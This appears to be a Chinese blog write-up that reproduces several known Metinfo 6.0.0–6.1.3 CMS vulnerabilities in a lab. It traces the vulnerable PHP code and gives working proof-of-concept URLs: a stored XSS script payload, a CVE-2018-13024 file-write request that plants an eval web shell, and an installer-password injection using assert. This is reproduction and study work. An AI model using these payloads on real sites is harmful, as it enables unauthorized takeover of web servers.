Metinfo6.0.0-6.1.3多個CVE漏洞復現

  • 2019 年 10 月 7 日
  • 筆記

根據seebug等相關網站、博客文章進行漏洞復現。

0X1 環境搭建

下載Metinfo6.0.0版本

Centos/83端口

訪問環境:

0X2 XSS漏洞

2018年12月27日,Metinfo被爆出存在存儲型跨站腳本漏洞,遠程攻擊者無需登錄可插入惡意代碼,管理員在後台管理時即可觸發。該XSS漏洞引起的原因是變量覆蓋.

影響範圍及利用條件

Metinfo 6.x (6.0.0-6.1.3)

無需登錄,知曉後台登陸地址。

查看admin/login/login_check.php文件,第12行代碼,$url_array數組中某個元素被賦值給$turefile,經過條件判斷後賦值給$met_adminfile,隨後經過authcode方法加密後再賦值給$truefile。最後執行update SQL操作,將之前加密後的字符串插入數據庫:

代碼第7行包含了/admin/include/common.inc.php,跟進common.inc.php。在代碼第10行發現變量$url_array被賦值,發現$url_array是以後台絕對路徑分割而成的數組,而後台路徑是安裝時就確定的。在commin.inc.php,在代碼77-82行,這是一個典型的對輸入參數名進行變量註冊的循環,並且是在$url_array賦值之後,存在變量覆蓋漏洞。其中,XSS的觸發點位於/app/system/safe/admin/index.clss.php的doindex方法中,此方法對應着後台的【安全-安全與效率】操作。管理員在進行後台操作時,Metinfo會提前將met_config表中的數據取出,並放到全局變量$_M中;

在/app/system/safe/admin/index.clss.php 的行首調用了/app/system/include/class/load.class.php中的sys_class方法加載系統類文件,這裡加載了/app/system/include/class/admin.class.php。

發現admin類繼承了common類,common類的構造函數執行了load_confg_global方法加載全站配置數據。通過$localurl_admin數據最後返回到index.php,未過濾導致XSS出現:

完成的POC為:

admin/login/login_check.php?url_array[]=<script>alert(1)</script>&url_array[]=a

輸入完成後點擊管理員打開後台安全-安全與效率,直接觸發

0X3 任意文件寫入漏洞

該漏洞編號是:CVE-2018-13024。漏洞發生在

metinfo6.0.0admincolumnsave.php的column_copyconfig函數,跟進發現在:/*複製首頁

*/ function Copyindx($newindx,$type){if(!file_exists($newindx)){

$oldcont="<?phpn# MetInfo Enterprise Content Management System n# Copyright(C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved. n$filpy =basename(dirname(__FILE__));n$fmodule=$type;nrequire_once'../include/module.php'; nrequire_once $module; n# This program is an opensource system, commercial use, please consciously to purchase commerciallicense.n# Copyright (C) MetInfo Co., Ltd. (http://www.metinfo.cn). All rightsreserved.n?>";

$fp =fopen($newindx,w);

fputs($fp, $oldcont);

fclose($fp);

}

}

可以看到這裡將$type變量直接寫入了文件中,而$type變量一直可以追溯到column_copyconfig的$module變量而metinfo一個經典的偽全局變量覆蓋,在metinfo6.0.0adminincludecommon.inc.php中。

foreach(array('_COOKIE','_POST', '_GET') as $_request) { foreach($$_request as $_key => $_value) {

$_key{0} != '_' && $$_key =daddslashes($_value,0,0,1);

$_M['form'][$_key]=daddslashes($_value,0,0,1);

}

}

這樣我們可以通過傳入get參數,覆蓋$module變量,導致任意文件寫入。

管理員身份登錄後,訪問完整的POC:

http://192.168.0.107:83/admin/column/save.php?name=123&action=editor&foldername=upload&module=22;@eval($_POST[a]);/*

菜刀連接upload目錄下的index.php文件

0x4 任意代碼注入

在註冊文件夾install中的首頁index.php中,也就是安裝文件的首頁:

對於填寫的信息沒有做過濾,很多的cms都是類似的結果。我們在安裝過程中,在密碼位置填寫

pass = "*/assert($_REQUEST[a])/*"拼接之後代碼為:

<?php

/*

con_db_host = "localhost" con_db_port = "3306"con_db_id = "root" con_db_pass = ""*/assert($_REQUEST[a]);/*""con_db_name = "metinfo" tablepre = "met_" db_charset ="utf8";

*/

?>

接着訪問config/config_db.php文件即可造成注入利用

http://127.0.0.1:88/MetInfo6.0.0/config/config_db.php?a=phpinfo();